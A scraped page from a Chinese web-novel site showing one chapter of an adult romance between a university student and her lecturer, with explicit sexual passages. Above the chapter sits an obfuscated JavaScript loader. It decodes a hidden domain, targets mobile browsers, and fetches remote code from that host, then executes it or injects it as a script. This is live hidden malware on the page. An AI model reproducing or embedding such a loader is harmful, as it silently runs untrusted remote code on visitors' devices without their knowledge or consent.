妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

我有了你的孩子(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

昨晚我的床帐里跑进来一只蚊子,凌晨两点在我耳边嗡嗡,似乎还个头不小,一嗓子就把我嗡醒了不说,飞过我的脸颊竟有实感,仿佛羽尖扫过。不知是否是全球变暖太过严重,在四月初这真是匪夷所思。

我的触觉很敏感,一旦被蚊子叮出包,必须刮骨疗毒,此蚊这般硕大,被咬一口定会肿成猪头痒得痛不欲生,若不将其除之而后快,我后半夜都别想睡个安稳觉。强睁睡眼待它放松警惕,没过一会儿,它就降落在我的苹果肌上,皮肤的某一点旋即微微一痛,给了我精准的定位,我便知出手的时机来了。

容不得我多想,手掌以迅雷不及掩耳之势甩向我的脸,只听响亮的一声“啪”在寝室的上空炸响,心中有武功哪里都是江湖,我处决了这只蚊界波音747;然而掌法太过毒辣,我被自己抽得眼冒金星脸颊发木,下一秒我就痛得晕了过去。

第二天早上我醒转时寝室里已经没人了,根据室内的明亮程度我猜测已经过了八点。我施瑶有条铁律,从来不上迟到的课。今天是周一,早八是细胞生物学,我头一次为错过上课感到遗憾,我还挺想看看周筱维今天的穿搭。

我给小维喂完薯片和水,信步去食堂买饭,路上总有陌生同学盯着我看,想必又是为我清水芙蓉般的素颜面孔所倾倒。

在窗口打包时碰见小韩和赵学妹,两人一见我就瞪大了眼睛。陌生人对我是惊鸿一瞥,我理解;这俩人和我打了这么久交道,久入兰室也不闻其香了呀,不至于吧?

“学姐……”赵学妹犹豫一下还是开口了,“你的脸怎么了?”

我暗道不好,掏出苹果手机打开前置摄像头一看,左脸明晃晃红彤彤一个大巴掌印子,扇得真到位,边缘干净齐整,五指根根分明,自残初体验。

还没缓过神,突然跳出QQ的消息弹窗,班长说老师签到了,问我要假条,或者我现在赶去教室补签。

唯一一次没上课就赶上她查人,我这是造了什么孽,大学没上两年,要了辅导员快一本假条册,辅导员烦我烦得不行,我上哪儿给她弄假条。不如我给她画一张,万一以后出名了还能卖钱,真迹呢。

我拎着早餐匆匆告别两人便骑上了自己的小电驴,身负重伤风驰电掣赶往教学楼,上到五楼时第二节课的上课铃已经响了快五分钟。

教室门被关上了,我按下把手用力推门,竟然没推开,不知道是哪个愚蠢的同学关门时碰了一下门锁。

我用指关节敲了两下门等了一会儿,没人应门,透过门上的玻璃竖窗往里看,同学七嘴八舌地讲话,像是讨论环节,很有些嘈杂,外面的敲门声里面该是听不见。

我大力拍了拍门,“放我进去!”

教室里一下就安静了,我听见熟悉的脚步声从里面传来。

把手先是转了转,门内的人发现门没开,很快找到了症结所在,门锁发出咔哒的声响,下一秒一双厌倦的黑眼睛出现在木门后。

“早上好呀。”

周筱维没有理我,转身接着讲课了,真没礼貌。

手上拎着南昌拌粉,脸上顶着那个硕大的巴掌印,我在九十多双眼睛的注视下走进教室,在离讲台最近的那唯一一个不用请其它同学“起来一下”的空座位坐下,到这里你也会理解我为什么从来不上迟到的课了。

“接着回答刚刚那个同学提出的问题……”

今天是大晴天,温度接近春天的水平,周老师套了一件F1赛车刺绣夹克,脖上系了一条方巾,夹克下是低领针织开衫,方巾与开衫之间露出大片皮肤,锁骨的与颈部肌肉组成飞鸟状线条,下身一条直筒做旧牛仔裤,裤腿在板鞋上随意地堆起。

之前她总穿偏正式的通勤服装,衣摆的长度都到臀部以下,这次却穿了件短款外套,裤子版型又贴身,臀部的弧线就像雨夜中的闪电一样醒目。秀色可餐,具体什么餐,早餐,南昌拌粉。我肚子饿得咕咕叫,进门后周老师都没看过我一眼,就着她的小蛮腰吃一口拌粉她应该也注意不到吧,我吃饭又不吧唧嘴,井水不犯河水。再饿下去我低血糖都要犯了,唉,头晕,唉,乏力,唉,眼前出现重影。

我刚一解开塑料袋,就听见周老师说,“要吃东西的同学出去吃。”

她下巴上长眼睛了吗,不吃早饭伤胃啊,当代知识分子的人道主义何在?我悻悻收回手,趴在桌上,尽管不至于低血糖,没吃饭确实让我没什么精神。

周老师拎得真清,不做爱的时候总对我凶巴巴的。

镜花水月梦一场,我当然也没期待和她能发展出什么,各取所需,现在这样就挺好。这是真心话,但人也可以同时有很多互相矛盾的真心话。许多心情无法以通顺理智的语言表达,大调歌曲里也会有小调和弦穿插。

上下眼皮打架,半梦半醒间我回忆玩跳蛋的那堂课,我们谨慎地没在教室里留下痕迹,但整间教室都成了那次非凡体验的纪念碑,朦胧间,墙壁涂刷成她皮肤的颜色,地面传导来她脉搏的跳动,空气中弥漫着她身上的冷香,我坐在这里,像在和她拥抱。也许这些都是我单方面的想法,她讲课的语调依旧十分冷淡,她是我学业之外的一处桃源,我却是她冗杂工作的一部分。

隐秘是一种默契,压抑是一种情趣;但如果能放手在教室大干一场,在白板前亲吻她的脖子,在讲台上抚摸她的大腿,在课桌上给她口交,又该是如何畅快潇洒的体验,伤感会在欲望中暂时融化,无论是来自我还是来自她。

她转身在白板上写字,枕着胳膊的高度让我的眼睛与她的臀刚好齐平,我描摹着她髋骨的形状,火辣小闪电,舌头忍不住舔了一圈牙齿。抬头看教室前方的两个监控摄像头,红色指示灯凶神恶煞地长亮着,护卫犬在低吼,威胁我不要对它们的主人有更进一步的举措。真碍事。

眼前就这么雷电交加半个小时,眼皮撑得发酸,总算是把下课铃盼来了。

我支着桌子站起身走上讲台:“老师,我补个签到。”

周老师将文件夹和课本堆迭整齐,目光在我的左脸停留几秒,“你的脸是怎么回事?”

“有蚊子咬我脸。”

“你的智商只能编出这种水平的理由吗。”

“真的呀,”我已经有点习惯她的言语凌辱了,“然后我抽了自己一巴掌,蚊子死了我也被抽晕了,今早就睡过头了。”

她扶额叹了声气,“你说什么是什么吧。”

她翻开文件夹抽出花名册,从包里取出笔,“回去拿冰块敷一下,”食指斜搭在黑色笔杆上,很优雅,她在花名册的某一栏打了个勾,“明天不疼了再热敷。”

“一个经验丰富的M甚至能充当半个外科医生。”

她对我龇了下牙,抱着课本离开了。

周三下午我等来了小骆的信息,通知我她要去周筱维的实验室了,喊我穿上实验服一块儿去看看。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间